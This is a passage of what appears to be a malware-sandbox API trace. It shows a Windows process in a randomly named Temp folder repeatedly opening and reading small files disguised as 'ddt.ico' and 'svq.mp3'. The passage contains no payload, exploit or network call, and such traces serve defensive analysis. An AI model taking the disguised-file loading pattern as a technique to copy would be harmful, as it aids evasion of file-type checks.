(lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.910] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.910] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.910] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.910] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.910] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.910] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.910] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.910] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.911] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.911] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.911] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.911] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.911] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.911] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.911] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.911] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.911] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.911] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.912] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.912] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.912] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.912] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.912] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.912] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.912] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.912] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.912] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.912] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.912] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.913] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.913] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.913] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.913] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.913] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.913] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.913] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.913] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.913] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.913] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.913] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.913] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.913] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.913] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.914] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.914] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.914] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.914] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.914] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.914] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.914] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.914] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.914] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.914] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.914] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.915] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.915] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.915] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.915] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.915] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.915] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.915] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.915] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.915] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.915] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.915] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.915] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.916] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.916] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.916] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.916] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.916] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.916] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.916] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.916] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.916] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.916] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.916] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.917] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.917] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.917] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.917] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.917] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.917] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.917] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.917] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.917] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.917] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.917] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.917] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.917] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.918] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.918] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.918] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.918] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.918] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.918] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.918] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.919] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.919] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.919] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.919] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.919] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.919] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.919] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.919] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.920] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.920] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.920] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.920] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.920] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.920] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.920] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.920] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.920] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.920] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.920] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.921] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 